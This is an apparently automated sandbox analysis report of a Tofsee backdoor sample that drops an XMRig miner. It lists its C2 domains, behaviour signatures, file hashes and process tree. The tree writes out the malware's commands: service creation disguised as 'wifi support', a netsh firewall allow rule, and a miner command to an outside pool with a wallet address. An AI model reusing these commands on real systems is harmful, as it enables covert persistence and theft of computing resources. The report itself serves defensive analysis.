Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/11/2022, 12:30

General

  • Target
    file.exe
  • Size 151KB
  • Sample221127-ppg11aca2w
  • SHA256 226e44f4572f447c5cb8c97530e7a511d36bf4a48a2f50d2997fb5e870b3d3cf
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2440
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\uygunjws\
      2⤵
        PID:4864
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\icsjmknw.exe" C:\Windows\SysWOW64\uygunjws\
        2⤵
          PID:1864
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create uygunjws binPath= "C:\Windows\SysWOW64\uygunjws\icsjmknw.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1576
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description uygunjws "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3620
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start uygunjws
          2⤵
          • Launches sc.exe
          PID:1520
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4488
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2440 -s 1280
          2⤵
          • Program crash
          PID:3824
      • C:\Windows\SysWOW64\uygunjws\icsjmknw.exe
        C:\Windows\SysWOW64\uygunjws\icsjmknw.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:216
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3200
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2172
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 216 -s 520
          2⤵
          • Program crash
          PID:2336
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2440 -ip 2440
        1⤵
          PID:2268
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 216 -ip 216
          1⤵
            PID:1252

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                icsjmknw.exe

                • Path C:\Users\Admin\AppData\Local\Temp\icsjmknw.exe
                • Size 14.0MB
                • SHA256 e3496f9d81dc468c66cfca00a884c96c7fbf219712aad916cea0604cd9292d84
                • MD5 SHA1 SHA512 SSDEEP

                icsjmknw.exe

                • Path C:\Windows\SysWOW64\uygunjws\icsjmknw.exe
                • Size 14.0MB
                • SHA256 e3496f9d81dc468c66cfca00a884c96c7fbf219712aad916cea0604cd9292d84
                • MD5 SHA1 SHA512 SSDEEP

                memory/216-150-0x0000000000400000-0x000000000045B000-memory.dmp

                memory/216-149-0x00000000005F9000-0x0000000000609000-memory.dmp

                memory/2172-174-0x0000000000E00000-0x0000000000EF1000-memory.dmp

                memory/2172-179-0x0000000000E00000-0x0000000000EF1000-memory.dmp

                memory/2440-152-0x00000000006CE000-0x00000000006DF000-memory.dmp

                memory/2440-143-0x00000000006CE000-0x00000000006DF000-memory.dmp

                memory/2440-144-0x00000000004D0000-0x00000000004E3000-memory.dmp

                memory/2440-132-0x00000000006CE000-0x00000000006DF000-memory.dmp

                memory/2440-153-0x0000000000400000-0x000000000045B000-memory.dmp

                memory/2440-134-0x0000000000400000-0x000000000045B000-memory.dmp

                memory/2440-133-0x00000000004D0000-0x00000000004E3000-memory.dmp

                memory/3200-155-0x0000000002140000-0x000000000234F000-memory.dmp

                memory/3200-151-0x0000000000110000-0x0000000000125000-memory.dmp

                memory/3200-146-0x0000000000110000-0x0000000000125000-memory.dmp

                memory/3200-154-0x0000000000110000-0x0000000000125000-memory.dmp

                memory/3200-158-0x0000000000650000-0x0000000000656000-memory.dmp

                memory/3200-161-0x0000000000660000-0x0000000000670000-memory.dmp

                memory/3200-164-0x00000000007D0000-0x00000000007D5000-memory.dmp

                memory/3200-167-0x0000000007180000-0x000000000758B000-memory.dmp

                memory/3200-170-0x00000000007E0000-0x00000000007E7000-memory.dmp